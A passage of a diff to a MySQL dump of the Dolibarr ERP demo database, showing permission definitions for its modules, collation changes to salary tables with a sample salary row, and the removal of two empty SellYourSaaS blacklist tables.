users','user',1,'user','password','w',0,5,0,'2023-01-14 12:09:53'),(256,'Delete or disable other users','user',1,'user','supprimer','d',0,5,0,'2023-01-14 12:09:53'),(262,'Read all third parties (and their objects) by internal users (otherwise only if commercial contact). Not effective for external users (limited to themselves).','societe',1,'client','voir','r',0,9,0,'2023-01-14 12:09:53'),(262,'Consulter tous les tiers par utilisateurs internes (sinon uniquement si contact commercial). Non effectif pour utilisateurs externes (tjs limités à eux-meme).','societe',2,'client','voir','r',1,9,0,'2022-12-11 21:23:36'),(281,'Read contacts','societe',1,'contact','lire','r',0,9,0,'2023-01-14 12:09:53'),(281,'Lire les contacts','societe',2,'contact','lire','r',1,9,0,'2022-12-11 21:23:36'),(282,'Create and update contact','societe',1,'contact','creer','w',0,9,0,'2023-01-14 12:09:53'),(282,'Creer modifier les contacts','societe',2,'contact','creer','w',0,9,0,'2022-12-11 21:23:36'),(283,'Delete contacts','societe',1,'contact','supprimer','d',0,9,0,'2023-01-14 12:09:53'),(283,'Supprimer les contacts','societe',2,'contact','supprimer','d',0,9,0,'2022-12-11 21:23:36'),(286,'Export contacts','societe',1,'contact','export','d',0,9,0,'2023-01-14 12:09:53'),(286,'Exporter les contacts','societe',2,'contact','export','d',0,9,0,'2022-12-11 21:23:36'),(301,'Generate PDF sheets of barcodes','barcode',1,'read',NULL,'r',1,50,0,'2023-01-14 12:09:53'),(304,'Read barcodes','barcode',1,'lire_advance',NULL,'r',1,50,0,'2023-01-14 12:09:53'),(305,'Create/modify barcodes','barcode',1,'creer_advance',NULL,'w',0,50,0,'2023-01-14 12:09:53'),(331,'Lire les bookmarks','bookmark',1,'lire',NULL,'r',0,50,0,'2022-12-11 21:23:36'),(332,'Creer/modifier les bookmarks','bookmark',1,'creer',NULL,'r',0,50,0,'2022-12-11 21:23:36'),(333,'Supprimer les bookmarks','bookmark',1,'supprimer',NULL,'r',0,50,0,'2022-12-11 21:23:36'),(341,'Read its own permissions','user',1,'self_advance','readperms','r',0,5,0,'2023-01-14 12:09:53'),(342,'Create/modify of its own user','user',1,'self','creer','w',0,5,0,'2023-01-14 12:09:53'),(343,'Modify its own password','user',1,'self','password','w',0,5,0,'2023-01-14 12:09:53'),(344,'Modify its own permissions','user',1,'self_advance','writeperms','w',0,5,0,'2023-01-14 12:09:53'),(351,'Read groups','user',1,'group_advance','read','r',0,5,0,'2023-01-14 12:09:53'),(352,'Read permissions of groups','user',1,'group_advance','readperms','r',0,5,0,'2023-01-14 12:09:53'),(353,'Create/modify groups and permissions','user',1,'group_advance','write','w',0,5,0,'2023-01-14 12:09:53'),(354,'Delete groups','user',1,'group_advance','delete','d',0,5,0,'2023-01-14 12:09:53'),(358,'Export all users','user',1,'user','export','r',0,5,0,'2023-01-14 12:09:53'),(511,'Read employee salaries and payments (yours and your subordinates)','salaries',1,'read',NULL,'r',0,50,0,'2023-01-14 12:09:53'),(512,'Create/modify payments of empoyee salaries','salaries',1,'write',NULL,'w',0,50,0,'2023-01-14 12:09:53'),(514,'Delete payments of employee salary','salaries',1,'delete',NULL,'d',0,50,0,'2023-01-14 12:09:53'),(517,'Read salaries and payments of all employees','salaries',1,'readall',NULL,'r',0,50,0,'2023-01-14 12:09:53'),(519,'Export payments of employee salaries','salaries',1,'export',NULL,'r',0,50,0,'2023-01-14 12:09:53'),(520,'Read loans','loan',1,'read',NULL,'r',0,50,0,'2022-12-11 21:23:36'),(521,'Read loans','loan',1,'read',NULL,'r',0,50,0,'2022-12-11 21:23:36'),(522,'Create/modify loans','loan',1,'write',NULL,'w',0,50,0,'2022-12-11 21:23:36'),(524,'Delete loans','loan',1,'delete',NULL,'d',0,50,0,'2022-12-11 21:23:36'),(525,'Access loan calculator','loan',1,'calc',NULL,'r',0,50,0,'2022-12-11 21:23:36'),(527,'Export loans','loan',1,'export',NULL,'r',0,50,0,'2022-12-11 21:23:36'),(531,'Read services','service',1,'lire',NULL,'r',0,29,0,'2023-01-14 12:09:53'),(532,'Create/modify services','service',1,'creer',NULL,'w',0,29,0,'2023-01-14 12:09:53'),(533,'Read prices services','service',1,'service_advance','read_prices','w',0,29,0,'2023-01-14 12:09:53'),(534,'Delete les services','service',1,'supprimer',NULL,'d',0,29,0,'2023-01-14 12:09:53'),(538,'Export services','service',1,'export',NULL,'r',0,29,0,'2023-01-14 12:09:53'),(561,'Read bank transfer payment orders','paymentbybanktransfer',1,'read',NULL,'r',0,52,0,'2022-12-11 21:23:36'),(562,'Create/modify a bank transfer payment order','paymentbybanktransfer',1,'create',NULL,'w',0,52,0,'2022-12-11 21:23:36'),(563,'Send/Transmit bank transfer payment order','paymentbybanktransfer',1,'send',NULL,'a',0,52,0,'2022-12-11 21:23:36'),(564,'Record Debits/Rejects of bank transfer payment order','paymentbybanktransfer',1,'debit',NULL,'a',0,52,0,'2022-12-11 21:23:36'),(610,'Read attributes of variants','variants',1,'read',NULL,'w',0,50,0,'2022-12-12 09:00:28'),(611,'Create/Update attributes of variants','variants',1,'write',NULL,'w',0,50,0,'2022-12-12 09:00:28'),(612,'Delete attributes of variants','variants',1,'delete',NULL,'w',0,50,0,'2022-12-12 09:00:28'),(651,'Read bom of Bom','bom',1,'read',NULL,'w',0,65,0,'2023-01-14 12:09:53'),(652,'Create/Update bom of Bom','bom',1,'write',NULL,'w',0,65,0,'2023-01-14 12:09:53'),(653,'Delete bom of Bom','bom',1,'delete',NULL,'w',0,65,0,'2023-01-14 12:09:53'),(661,'Read Manufacturing Order','mrp',1,'read',NULL,'w',0,66,0,'2023-01-14 12:09:53'),(662,'Create/Update Manufacturing Order','mrp',1,'write',NULL,'w',0,66,0,'2023-01-14 12:09:53'),(663,'Delete Manufacturing Order','mrp',1,'delete',NULL,'w',0,66,0,'2023-01-14 12:09:53'),(701,'Lire les dons','don',1,'lire',NULL,'r',1,50,0,'2022-12-11 21:23:36'),(701,'Lire les dons','don',2,'lire',NULL,'r',1,50,0,'2022-12-11 21:23:36'),(702,'Creer/modifier les dons','don',1,'creer',NULL,'w',0,50,0,'2022-12-11 21:23:36'),(702,'Creer/modifier les dons','don',2,'creer',NULL,'w',0,50,0,'2022-12-11 21:23:36'),(703,'Supprimer les dons','don',1,'supprimer',NULL,'d',0,50,0,'2022-12-11 21:23:36'),(703,'Supprimer les dons','don',2,'supprimer',NULL,'d',0,50,0,'2022-12-11 21:23:36'),(750,'Read job positions to fill and candidatures','recruitment',1,'recruitmentjobposition','read','w',0,44,0,'2023-01-14 12:09:53'),(751,'Create/Update job positions to fill and candidatures','recruitment',1,'recruitmentjobposition','write','w',0,44,0,'2023-01-14 12:09:53'),(752,'Delete Job positions to fill and candidatures','recruitment',1,'recruitmentjobposition','delete','w',0,44,0,'2023-01-14 12:09:53'),(771,'Read expense reports (yours and your subordinates)','expensereport',1,'lire',NULL,'r',0,42,0,'2023-01-14 12:09:53'),(772,'Create/modify expense reports','expensereport',1,'creer',NULL,'w',0,42,0,'2023-01-14 12:09:53'),(773,'Delete expense reports','expensereport',1,'supprimer',NULL,'d',0,42,0,'2023-01-14 12:09:53'),(775,'Approve expense reports','expensereport',1,'approve',NULL,'w',0,42,0,'2023-01-14 12:09:53'),(776,'Pay expense reports','expensereport',1,'to_paid',NULL,'w',0,42,0,'2023-01-14 12:09:53'),(777,'Read expense reports of everybody','expensereport',1,'readall',NULL,'r',0,42,0,'2023-01-14 12:09:53'),(778,'Create expense reports for everybody','expensereport',1,'writeall_advance',NULL,'w',0,42,0,'2023-01-14 12:09:53'),(779,'Export expense reports','expensereport',1,'export',NULL,'r',0,42,0,'2023-01-14 12:09:53'),(1001,'Lire les stocks','stock',1,'lire',NULL,'r',1,40,0,'2022-12-11 21:23:36'),(1002,'Creer/Modifier les stocks','stock',1,'creer',NULL,'w',0,40,0,'2022-12-11 21:23:36'),(1003,'Supprimer les stocks','stock',1,'supprimer',NULL,'d',0,40,0,'2022-12-11 21:23:36'),(1004,'Lire mouvements de stocks','stock',1,'mouvement','lire','r',1,40,0,'2022-12-11 21:23:36'),(1005,'Creer/modifier mouvements de stocks','stock',1,'mouvement','creer','w',0,40,0,'2022-12-11 21:23:36'),(1011,'inventoryReadPermission','stock',1,'inventory_advance','read','w',0,39,0,'2022-12-11 21:23:36'),(1012,'inventoryCreatePermission','stock',1,'inventory_advance','write','w',0,39,0,'2022-12-11 21:23:36'),(1014,'inventoryValidatePermission','stock',1,'inventory_advance','validate','w',0,39,0,'2023-02-08 12:45:19'),(1015,'inventoryChangePMPPermission','stock',1,'inventory_advance','changePMP','w',0,39,0,'2023-02-08 12:45:19'),(1016,'inventoryDeletePermission','stock',1,'inventory_advance','delete','w',0,39,0,'2023-02-08 12:45:19'),(1101,'Read delivery receipts','expedition',1,'delivery','lire','r',0,40,0,'2022-12-11 21:23:36'),(1102,'Create/modify delivery receipts','expedition',1,'delivery','creer','w',0,40,0,'2022-12-11 21:23:36'),(1104,'Validate delivery receipts','expedition',1,'delivery_advance','validate','d',0,40,0,'2022-12-11 21:23:36'),(1109,'Delete delivery receipts','expedition',1,'delivery','supprimer','d',0,40,0,'2022-12-11 21:23:36'),(1121,'Read supplier proposals','supplier_proposal',1,'lire',NULL,'w',0,35,0,'2022-12-11 21:23:36'),(1122,'Create/modify supplier proposals','supplier_proposal',1,'creer',NULL,'w',0,35,0,'2022-12-11 21:23:36'),(1123,'Validate supplier proposals','supplier_proposal',1,'validate_advance',NULL,'w',0,35,0,'2022-12-11 21:23:36'),(1124,'Envoyer les demandes fournisseurs','supplier_proposal',1,'send_advance',NULL,'w',0,35,0,'2022-12-11 21:23:36'),(1125,'Delete supplier proposals','supplier_proposal',1,'supprimer',NULL,'w',0,35,0,'2022-12-11 21:23:36'),(1126,'Close supplier price requests','supplier_proposal',1,'cloturer',NULL,'w',0,35,0,'2022-12-11 21:23:36'),(1181,'Consulter les fournisseurs','fournisseur',1,'lire',NULL,'r',0,12,0,'2023-01-14 12:09:53'),(1182,'Consulter les commandes fournisseur','fournisseur',1,'commande','lire','r',0,12,0,'2023-01-14 12:09:53'),(1183,'Creer une commande fournisseur','fournisseur',1,'commande','creer','w',0,12,0,'2023-01-14 12:09:53'),(1184,'Valider une commande fournisseur','fournisseur',1,'supplier_order_advance','validate','w',0,12,0,'2023-01-14 12:09:53'),(1185,'Approuver une commande fournisseur','fournisseur',1,'commande','approuver','w',0,12,0,'2023-01-14 12:09:53'),(1186,'Commander une commande fournisseur','fournisseur',1,'commande','commander','w',0,12,0,'2023-01-14 12:09:53'),(1187,'Receptionner une commande fournisseur','fournisseur',1,'commande','receptionner','d',0,12,0,'2023-01-14 12:09:53'),(1188,'Supprimer une commande fournisseur','fournisseur',1,'commande','supprimer','d',0,12,0,'2023-01-14 12:09:53'),(1189,'Check/Uncheck a supplier order reception','fournisseur',1,'commande_advance','check','w',0,12,0,'2023-01-14 12:09:53'),(1191,'Exporter les commande fournisseurs, attributs','fournisseur',1,'commande','export','r',0,12,0,'2023-01-14 12:09:53'),(1201,'Lire les exports','export',1,'lire',NULL,'r',1,72,0,'2022-12-11 21:23:36'),(1202,'Creer/modifier un export','export',1,'creer',NULL,'w',0,72,0,'2022-12-11 21:23:36'),(1231,'Consulter les factures fournisseur','fournisseur',1,'facture','lire','r',0,12,0,'2023-01-14 12:09:53'),(1232,'Creer une facture fournisseur','fournisseur',1,'facture','creer','w',0,12,0,'2023-01-14 12:09:53'),(1233,'Valider une facture fournisseur','fournisseur',1,'supplier_invoice_advance','validate','w',0,12,0,'2023-01-14 12:09:53'),(1234,'Supprimer une facture fournisseur','fournisseur',1,'facture','supprimer','d',0,12,0,'2023-01-14 12:09:53'),(1235,'Envoyer les factures par mail','fournisseur',1,'supplier_invoice_advance','send','a',0,12,0,'2023-01-14 12:09:53'),(1236,'Exporter les factures fournisseurs, attributs et reglements','fournisseur',1,'facture','export','r',0,12,0,'2023-01-14 12:09:53'),(1251,'Run mass imports of external data (data load)','import',1,'run',NULL,'r',0,70,0,'2022-12-11 21:23:36'),(1321,'Export customer invoices, attributes and payments','facture',1,'facture','export','r',0,11,0,'2023-01-14 12:09:53'),(1321,'Exporter les factures clients, attributs et reglements','facture',2,'facture','export','r',0,10,0,'2022-12-11 21:23:36'),(1322,'Re-open a fully paid invoice','facture',1,'invoice_advance','reopen','r',0,11,0,'2023-01-14 12:09:53'),(1421,'Export sales orders and attributes','commande',1,'commande','export','r',0,11,0,'2023-01-14 12:09:53'),(2401,'Read actions/tasks linked to his account','agenda',1,'myactions','read','r',0,15,0,'2023-01-14 12:09:53'),(2401,'Read actions/tasks linked to his account','agenda',2,'myactions','read','r',1,15,0,'2022-12-11 21:23:36'),(2402,'Create/modify actions/tasks linked to his account','agenda',1,'myactions','create','w',0,15,0,'2023-01-14 12:09:53'),(2402,'Create/modify actions/tasks linked to his account','agenda',2,'myactions','create','w',0,15,0,'2022-12-11 21:23:36'),(2403,'Delete actions/tasks linked to his account','agenda',1,'myactions','delete','w',0,15,0,'2023-01-14 12:09:53'),(2403,'Delete actions/tasks linked to his account','agenda',2,'myactions','delete','w',0,15,0,'2022-12-11 21:23:36'),(2411,'Read actions/tasks of others','agenda',1,'allactions','read','r',0,15,0,'2023-01-14 12:09:53'),(2411,'Read actions/tasks of others','agenda',2,'allactions','read','r',0,15,0,'2022-12-11 21:23:36'),(2412,'Create/modify actions/tasks of others','agenda',1,'allactions','create','w',0,15,0,'2023-01-14 12:09:53'),(2412,'Create/modify actions/tasks of others','agenda',2,'allactions','create','w',0,15,0,'2022-12-11 21:23:36'),(2413,'Delete actions/tasks of others','agenda',1,'allactions','delete','w',0,15,0,'2023-01-14 12:09:53'),(2413,'Delete actions/tasks of others','agenda',2,'allactions','delete','w',0,15,0,'2022-12-11 21:23:36'),(2414,'Export actions/tasks of others','agenda',1,'export',NULL,'w',0,15,0,'2023-01-14 12:09:53'),(2501,'Read or download documents','ecm',1,'read',NULL,'r',0,10,0,'2023-01-14 12:09:53'),(2503,'Upload a document','ecm',1,'upload',NULL,'w',0,10,0,'2023-01-14 12:09:53'),(2515,'Administer directories of documents','ecm',1,'setup',NULL,'w',0,10,0,'2023-01-14 12:09:53'),(2610,'Générer / modifier la clé API des utilisateurs','api',1,'apikey','generate','w',0,24,0,'2022-12-11 21:23:36'),(2801,'Use FTP client in read mode (browse and download only)','ftp',1,'read',NULL,'r',0,50,0,'2023-01-14 12:09:53'),(2802,'Use FTP client in write mode (delete or upload files)','ftp',1,'write',NULL,'w',0,50,0,'2023-01-14 12:09:53'),(3201,'Read archived events and fingerprints','blockedlog',1,'read',NULL,'w',0,76,0,'2022-12-11 21:23:36'),(3301,'Generate new modules','modulebuilder',1,'run',NULL,'a',0,90,0,'2023-02-11 11:40:29'),(4001,'Read skill/job/position','hrm',1,'all','read','w',0,50,0,'2023-02-11 11:40:29'),(4002,'Create/modify skill/job/position','hrm',1,'all','write','w',0,50,0,'2023-02-11 11:40:29'),(4003,'Delete skill/job/position','hrm',1,'all','delete','w',0,50,0,'2023-02-11 11:40:29'),(4021,'Read evaluations','hrm',1,'evaluation','read','w',0,50,0,'2023-02-11 11:40:29'),(4022,'Create/modify your evaluation','hrm',1,'evaluation','write','w',0,50,0,'2023-02-11 11:40:29'),(4023,'Validate evaluation','hrm',1,'evaluation_advance','validate','w',0,50,0,'2023-02-11 11:40:29'),(4025,'Delete evaluations','hrm',1,'evaluation','delete','w',0,50,0,'2023-02-11 11:40:29'),(4028,'See comparison menu','hrm',1,'compare_advance','read','w',0,50,0,'2023-02-11 11:40:29'),(4031,'Read personal information','hrm',1,'read_personal_information','read','w',0,50,0,'2023-02-11 11:40:29'),(4032,'Write personal information','hrm',1,'write_personal_information','write','w',0,50,0,'2023-02-11 11:40:29'),(4033,'Read all evaluations','hrm',1,'evaluation','readall','w',0,50,0,'2023-02-11 11:40:29'),(10001,'Read website content','website',1,'read',NULL,'w',0,50,0,'2023-01-14 12:09:53'),(10002,'Create/modify website content (html and javascript content)','website',1,'write',NULL,'w',0,50,0,'2023-01-14 12:09:53'),(10003,'Create/modify website content (dynamic php code). Dangerous, must be reserved to restricted developers.','website',1,'writephp',NULL,'w',0,50,0,'2023-01-14 12:09:53'),(10005,'Delete website content','website',1,'delete',NULL,'w',0,50,0,'2023-01-14 12:09:53'),(10008,'Export website content','website',1,'export',NULL,'w',0,50,0,'2023-01-14 12:09:53'),(20001,'Read leave requests (yours and your subordinates)','holiday',1,'read',NULL,'w',0,42,0,'2023-01-14 12:09:53'),(20001,'Créer / Modifier / Lire ses demandes de congés payés','holiday',2,'write',NULL,'w',1,42,0,'2022-12-11 21:23:36'),(20002,'Create/modify leave requests','holiday',1,'write',NULL,'w',0,42,0,'2023-01-14 12:09:53'),(20003,'Delete leave requests','holiday',1,'delete',NULL,'w',0,42,0,'2023-01-14 12:09:53'),(20003,'Supprimer des demandes de congés payés','holiday',2,'delete',NULL,'w',0,42,0,'2022-12-11 21:23:36'),(20004,'Read leave requests for everybody','holiday',1,'readall',NULL,'w',0,42,0,'2023-01-14 12:09:53'),(20004,'Définir les congés payés des utilisateurs','holiday',2,'define_holiday',NULL,'w',0,42,0,'2022-12-11 21:23:36'),(20005,'Create/modify leave requests for everybody','holiday',1,'writeall',NULL,'w',0,42,0,'2023-01-14 12:09:53'),(20005,'Voir les logs de modification des congés payés','holiday',2,'view_log',NULL,'w',0,42,0,'2022-12-11 21:23:36'),(20006,'Setup leave requests of users (setup and update balance)','holiday',1,'define_holiday',NULL,'w',0,42,0,'2023-01-14 12:09:53'),(20006,'Accéder au rapport mensuel des congés payés','holiday',2,'month_report',NULL,'w',0,42,0,'2022-12-11 21:23:36'),(20007,'Approve leave requests','holiday',1,'approve',NULL,'w',0,42,0,'2023-01-14 12:09:53'),(23001,'Read cron jobs','cron',1,'read',NULL,'w',0,50,0,'2023-01-14 12:09:53'),(23002,'Create cron Jobs','cron',1,'create',NULL,'w',0,50,0,'2023-01-14 12:09:53'),(23003,'Delete cron Jobs','cron',1,'delete',NULL,'w',0,50,0,'2023-01-14 12:09:53'),(23004,'Execute cron Jobs','cron',1,'execute',NULL,'w',0,50,0,'2023-01-14 12:09:53'),(50151,'Use Point Of Sale (record a sale, add products, record payment)','takepos',1,'run',NULL,'a',0,60,0,'2023-01-14 12:09:53'),(50152,'Can modify added sales lines (prices, discount)','takepos',1,'editlines',NULL,'a',0,60,0,'2023-01-14 12:09:53'),(50153,'Edit ordered sales lines (useful only when option \"Order printers\" has been enabled). Allow to edit sales lines even after the order has been printed','takepos',1,'editorderedlines',NULL,'a',0,60,0,'2023-01-14 12:09:53'),(50401,'Bind products and invoices with accounting accounts','accounting',1,'bind','write','r',0,61,0,'2023-03-07 17:27:23'),(50411,'Read operations in Ledger','accounting',1,'mouvements','lire','r',0,61,0,'2023-03-07 17:27:23'),(50412,'Write/Edit operations in Ledger','accounting',1,'mouvements','creer','w',0,61,0,'2023-03-07 17:27:23'),(50414,'Delete operations in Ledger','accounting',1,'mouvements','supprimer','d',0,61,0,'2023-03-07 17:27:23'),(50415,'Delete all operations by year and journal in Ledger','accounting',1,'mouvements','supprimer_tous','d',0,61,0,'2023-03-07 17:27:23'),(50418,'Export operations of the Ledger','accounting',1,'mouvements','export','r',0,61,0,'2023-03-07 17:27:23'),(50420,'Report and export reports (turnover, balance, journals, ledger)','accounting',1,'comptarapport','lire','r',0,61,0,'2023-03-07 17:27:23'),(50430,'Manage fiscal periods, validate movements and close periods','accounting',1,'fiscalyear','write','r',0,61,0,'2023-03-07 17:27:23'),(50440,'Manage chart of accounts, setup of accountancy','accounting',1,'chartofaccount',NULL,'r',0,61,0,'2023-03-07 17:27:23'),(55001,'Read surveys','opensurvey',1,'read',NULL,'r',0,40,0,'2023-01-14 12:09:53'),(55002,'Create/modify surveys','opensurvey',1,'write',NULL,'w',0,40,0,'2023-01-14 12:09:53'),(56001,'Read ticket','ticket',1,'read',NULL,'r',0,60,0,'2023-01-14 12:09:53'),(56002,'Create les tickets','ticket',1,'write',NULL,'w',0,60,0,'2023-01-14 12:09:53'),(56003,'Delete les tickets','ticket',1,'delete',NULL,'d',0,60,0,'2023-01-14 12:09:53'),(56004,'Manage tickets','ticket',1,'manage',NULL,'w',0,60,0,'2023-01-14 12:09:53'),(57001,'Read articles','knowledgemanagement',1,'knowledgerecord','read','w',0,90,0,'2022-12-11 21:23:36'),(57002,'Create/Update articles','knowledgemanagement',1,'knowledgerecord','write','w',0,90,0,'2022-12-11 21:23:36'),(57003,'Delete articles','knowledgemanagement',1,'knowledgerecord','delete','w',0,90,0,'2022-12-11 21:23:36'),(58000,'Read objects of Partnership','partnership',1,'read',NULL,'w',0,90,0,'2023-02-25 14:20:31'),(58001,'Create/Update objects of Partnership','partnership',1,'write',NULL,'w',0,90,0,'2023-02-25 14:20:31'),(58002,'Delete objects of Partnership','partnership',1,'delete',NULL,'w',0,90,0,'2023-02-25 14:20:31'),(59001,'Visualiser les marges','margins',1,'liretous',NULL,'r',0,55,0,'2022-12-11 21:23:36'),(59002,'Définir les marges','margins',1,'creer',NULL,'w',0,55,0,'2022-12-11 21:23:36'),(59003,'Read every user margin','margins',1,'read','all','r',0,55,0,'2022-12-11 21:23:36'),(63001,'Read resources','resource',1,'read',NULL,'w',0,16,0,'2022-12-11 21:23:36'),(63002,'Create/Modify resources','resource',1,'write',NULL,'w',0,16,0,'2022-12-11 21:23:36'),(63003,'Delete resources','resource',1,'delete',NULL,'w',0,16,0,'2022-12-11 21:23:36'),(63004,'Link resources to agenda events','resource',1,'link',NULL,'w',0,16,0,'2022-12-11 21:23:36'),(64001,'DirectPrint','printing',1,'read',NULL,'r',0,52,0,'2022-12-11 21:23:36'),(101051,'See SellYourSaas Home area','sellyoursaas',1,'liens','voir','r',0,100050,0,'2023-01-31 14:45:22'),(101060,'Read SellYourSaaS data','sellyoursaas',1,'read',NULL,'w',0,100050,0,'2023-01-31 14:45:22'),(101061,'Create/edit SellYourSaaS data (package, ...)','sellyoursaas',1,'write',NULL,'w',0,100050,0,'2023-01-31 14:45:22'),(101062,'Delete SellYourSaaS data (package, ...)','sellyoursaas',1,'delete',NULL,'w',0,100050,0,'2023-01-31 14:45:22'),(101250,'Read surveys','opensurvey',2,'survey','read','r',0,40,0,'2022-12-11 21:23:36'),(101251,'Create/modify surveys','opensurvey',2,'survey','write','w',0,40,0,'2022-12-11 21:23:36'),(436150,'Access to ScanInvoices functionalities','scaninvoices',1,'read',NULL,'w',0,100090,0,'2023-03-07 17:27:23'),(436151,'Create/Update objects of ScanInvoices','scaninvoices',1,'write',NULL,'w',0,100090,0,'2023-03-07 17:27:23'),(436152,'Delete objects of ScanInvoices','scaninvoices',1,'delete',NULL,'w',0,100090,0,'2023-03-07 17:27:23'),(941601,'Lire les receptions','reception',1,'lire',NULL,'r',0,40,0,'2022-12-11 21:23:36'),(941602,'Creer modifier les receptions','reception',1,'creer',NULL,'w',0,40,0,'2022-12-11 21:23:36'),(941603,'Valider les receptions','reception',1,'reception_advance','validate','d',0,40,0,'2022-12-11 21:23:36'),(941604,'Envoyer les receptions aux clients','reception',1,'reception_advance','send','d',0,40,0,'2022-12-11 21:23:36'),(941605,'Exporter les receptions','reception',1,'reception','export','r',0,40,0,'2022-12-11 21:23:36'),(941606,'Supprimer les receptions','reception',1,'supprimer',NULL,'d',0,40,0,'2022-12-11 21:23:36'),(6830501,'Read objects of Webhook','webhook',1,'webhook_target','read','w',0,90,0,'2023-02-25 14:20:31'),(6830502,'Create/Update objects of Webhook','webhook',1,'webhook_target','write','w',0,90,0,'2023-02-25 14:20:31'),(6830503,'Delete objects of Webhook','webhook',1,'webhook_target','delete','w',0,90,0,'2023-02-25 14:20:31'),(50000001,'Read objects of Aaa','aaa',1,'aao','read','w',0,100090,0,'2023-02-11 11:40:29'),(50000002,'Create/Update objects of Aaa','aaa',1,'aao','write','w',0,100090,0,'2023-02-11 11:40:29'),(50000003,'Delete objects of Aaa','aaa',1,'aao','delete','w',0,100090,0,'2023-02-11 11:40:29'); /*!40000 ALTER TABLE `llx_rights_def` ENABLE KEYS */; UNLOCK TABLES; @@ -11992,7 +11203,7 @@ DROP TABLE IF EXISTS `llx_salary`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_salary` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(30) DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `datec` datetime DEFAULT NULL, `fk_user` int(11) NOT NULL, @@ -12002,19 +11213,19 @@ CREATE TABLE `llx_salary` ( `amount` double(24,8) NOT NULL DEFAULT 0.00000000, `fk_projet` int(11) DEFAULT NULL, `fk_typepayment` int(11) NOT NULL, - `num_payment` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `num_payment` varchar(50) DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, `datesp` date DEFAULT NULL, `dateep` date DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` text DEFAULT NULL, `fk_bank` int(11) DEFAULT NULL, `paye` smallint(6) NOT NULL DEFAULT 0, `fk_account` int(11) DEFAULT NULL, `fk_user_author` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -12023,7 +11234,7 @@ CREATE TABLE `llx_salary` ( LOCK TABLES `llx_salary` WRITE; /*!40000 ALTER TABLE `llx_salary` DISABLE KEYS */; -INSERT INTO `llx_salary` VALUES (1,'1','2021-04-15 10:22:55',NULL,19,NULL,NULL,NULL,1000.00000000,0,2,NULL,'Salary payment','2019-09-01','2019-09-30',1,NULL,42,1,NULL,NULL,NULL); +INSERT INTO `llx_salary` VALUES (1,'1','2021-04-15 10:22:55',NULL,19,NULL,NULL,NULL,1000.00000000,0,2,NULL,'Salary payment','2019-09-01','2019-09-30',1,NULL,42,1,NULL,NULL,NULL),(4,NULL,'2023-01-06 15:36:21','2023-01-06 12:36:21',4,NULL,NULL,NULL,100.00000000,0,6,NULL,'Salary','2022-12-01','2022-12-31',1,NULL,NULL,1,4,12,NULL); /*!40000 ALTER TABLE `llx_salary` ENABLE KEYS */; UNLOCK TABLES; @@ -12038,7 +11249,7 @@ CREATE TABLE `llx_salary_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_salary_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -12053,146 +11264,6 @@ LOCK TABLES `llx_salary_extrafields` WRITE; /*!40000 ALTER TABLE `llx_salary_extrafields` ENABLE KEYS */; UNLOCK TABLES; --- --- Table structure for table `llx_sellyoursaas_blacklistcontent` --- - -DROP TABLE IF EXISTS `llx_sellyoursaas_blacklistcontent`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_sellyoursaas_blacklistcontent` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `entity` int(11) NOT NULL DEFAULT 1, - `content` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, - `date_creation` datetime NOT NULL, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `status` int(11) NOT NULL DEFAULT 1, - PRIMARY KEY (`rowid`), - KEY `idx_sellyoursaas_blacklistcontent_date_creation` (`date_creation`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_sellyoursaas_blacklistcontent` --- - -LOCK TABLES `llx_sellyoursaas_blacklistcontent` WRITE; -/*!40000 ALTER TABLE `llx_sellyoursaas_blacklistcontent` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_sellyoursaas_blacklistcontent` ENABLE KEYS */; -UNLOCK TABLES; - --- --- Table structure for table `llx_sellyoursaas_blacklistfrom` --- - -DROP TABLE IF EXISTS `llx_sellyoursaas_blacklistfrom`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_sellyoursaas_blacklistfrom` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `entity` int(11) NOT NULL DEFAULT 1, - `content` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, - `date_creation` datetime NOT NULL, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `status` int(11) NOT NULL DEFAULT 1, - PRIMARY KEY (`rowid`), - KEY `idx_sellyoursaas_blacklistfrom_content` (`content`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_sellyoursaas_blacklistfrom` --- - -LOCK TABLES `llx_sellyoursaas_blacklistfrom` WRITE; -/*!40000 ALTER TABLE `llx_sellyoursaas_blacklistfrom` DISABLE KEYS */; -/*!40000 